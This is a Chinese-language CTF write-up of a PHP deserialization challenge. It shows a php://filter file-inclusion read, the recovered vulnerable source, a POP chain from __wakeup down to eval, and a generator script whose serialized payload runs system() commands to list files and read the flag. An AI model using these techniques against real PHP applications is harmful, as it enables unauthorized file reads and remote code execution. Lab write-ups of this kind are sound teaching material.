一道简单的 PHP 反序列化

记一道简单的 PHP 反序列化

题目来源与环境搭建

题目来源

second-xupt-ctf pop

环境搭建

  1. 使用 Docker 和 Docker Compose 搭建,Docker 使用教程见 Docker — 从入门到实践

    关于 Docker 的一个很不错的视频(快速入门)

  2. 修改docker-compose.yml的端口配置
    1
    vim docker-compose.yml

    把 ports 里的 8085 修改成你想要的端口

  3. 使用以下命令构建 Docker 镜像

    进入题目根目录下运行命令(可先对 Docker 进行换源)

    1
    docker build -t pop .
  4. 使用以下的命令创建运行容器

    进入题目根目录下运行命令

    1
    docker-compose up -d

解题部分

协议读文件

打开题目,就看见提示在hint.php,好那就访问它:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = 'flag.php';
if(isset($_GET['flag'])){
$flag = $_GET['flag'];
}
include($flag);
?>

看见文件包含,就想到利用协议来读取文件,先来尝试读取flag.php

1
?flag=php://filter/read=convert.base64-encode/resource=flag.php

得到如下结果:

1
PD9waHANCkknbSBub3QgYSByZWFsIGZsYWcNCj8+

Base64 解码出来:

1
2
3
<?php
I'm not a real flag
?>

好嘛,是个假的 flag,那就来读读index.php

1
?flag=php://filter/read=convert.base64-encode/resource=index.php

照样得到一串 Base64 编码的数据,进行解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
class Tiger{
public $string;
protected $var;
public function __toString(){
return $this->string;
}
public function boss($value){
@eval($value);
}
public function __invoke(){
$this->boss($this->var);
}
}

class Lion{
public $tail;
public function __construct(){
$this->tail = array();
}
public function __get($value){
$function = $this->tail;
return $function();
}
}


class Monkey{
public $head;
public $hand;
public function __construct($here="Zoo"){
$this->head = $here;
echo "Welcome to ".$this->head."<br>";
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Elephant{
public $nose;
public $nice;
public function __construct($nice="nice"){
$this->nice = $nice;
echo $nice;
}
public function __toString(){
return $this->nice->nose;
}
}

if(isset($_POST['zoo'])){
@unserialize($_POST['zoo']);
}
else{
$a = new Monkey;
echo "hint in hint.php!";
}
?>

源码分析

先来说下 php 里的魔术方法:

__wakeup()在反序列化时被调用

__sleep()在序列化一个对象时被调用

__destruct()在对象被销毁时调用

__construct()在一个对象被创建时会调用

__call()在调用一个对象中不存在的或者被权限控制的方法时会调用

__callStatic()调用不可见的静态方法时会自动调用

__get用于获取类里的变量(private, protected,public 都可以)

__set()用来给私有成员属性赋值

__isset当我们对不可访问属性调用isset()或者empty()时调用

__unset()基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数

__toString()将一个对象当作一个字符串来使用时,就会自动调用该方法

__invoke()当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用

其次在某些函数前面加了 @,这个 @ 的作用是:是 PHP 提供的错误信息屏蔽的专用符号,简单来说就是让页面不显示报错

构造 pop 链

这里使用正向的思路来构造:

  1. 首先看见Monkey类里面有__wakeup方法,我们可以从这个类出发,因为在反序列化时,__wakeup()方法可以主动调用
  2. 再来看__wakeup()里面的东西,注意到$this->head,如果我们把一个类赋给head,那么在执行正则时,就会调用这个类里面的__toString()方法
  3. 再来寻找有__wakeup()方法的类,发现有ElephantTiger,但我们要的是Elephant这个类
  4. Elephant里的__toSting()返回的是nice->nose,所以我们还要给nice赋一个类
  5. 这里把Lion赋给nice,这样在访问Elephant里的nose时,会调用Lion里的__get()
  6. 再在Lion里把 tail 赋成 Tiger,在Lion里面return $function();时,就会调用Tiger里的__inkove(),进一步调用Tiger里的boss(),进而调用eval(),再向Tiger里的$var传入system()函数,就可以执行命令了

B 站上有个视频也讲的不错(题目很相似):

构造 Payload

使用上面的思想可以写出以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class Tiger {
public $string;
// 注意最后是有一个分号的
protected $var = "system('ls');";
}

class Lion {
public $tail;
public function __construct() {
$this->tail = array();
}
}

class Elephant {
public $nose;
public $nice;
public function __construct($nice="nice") {
$this->nice = $nice;
}
}

class Monkey {
public $head;
public $hand;
public function __construct($here="Zoo") {
$this->head = $here;
}
}

$a = new Elephant;
$a->nice = new Lion;
$a->nice->tail = new Tiger;

$b = new Monkey($a);

// 要 POST 所以要进行 URL 编码
// Content-Type: application/x-www-form-urlencoded
$c = urlencode(serialize($b));
echo $c;

?>

得到的 Payload(用变量 zoo POST 过去):

1
O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D

看到回显的几个目录就成功了,然后读取 flag:

1
protected $var = "system('cat /real_flag/f1Ag');";

生成 Payload 打过去就能看见 flag 了